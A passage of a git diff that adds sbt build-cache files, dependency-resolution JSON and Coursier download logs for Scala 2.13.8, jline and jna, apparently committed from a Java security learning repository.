cala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out
new file mode 100644
index 00000000..82db3fc7
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out
@@ -0,0 +1,21 @@
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.pom
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.pom
+[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.pom
+[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.pom
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.pom
+[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline-parent/3.21.0/jline-parent-3.21.0.pom
+[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar
+[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar
+[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar
+[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar
+[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out
new file mode 100644
index 00000000..68ffea54
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out
@@ -0,0 +1,2 @@
+[info] Writing structure to /private/var/folders/y5/frw31bm163n6g_q9wz9qkmyc0000gn/T/sbt-structure.xml...
+[info] Done.
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp
new file mode 100644
index 00000000..69acb19f
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp
@@ -0,0 +1 @@
+-106189456
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp
new file mode 100644
index 00000000..b0ae6329
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp
@@ -0,0 +1 @@
+{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.13.8\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out
new file mode 100644
index 00000000..dad971a5
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out
@@ -0,0 +1,3 @@
+[debug] not up to date. inChanged = true, force = false
+[debug] Updating ...
+[debug] Done updating
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out
new file mode 100644
index 00000000..0d834bb5
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out
@@ -0,0 +1,3 @@
+[debug] not up to date. inChanged = true, force = false
+[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root")...
+[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root")
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs
new file mode 100644
index 00000000..08e7b29c
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs
@@ -0,0 +1 @@
+402252421
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output
new file mode 100644
index 00000000..b3eee7d7
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output
@@ -0,0 +1 @@
+{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-s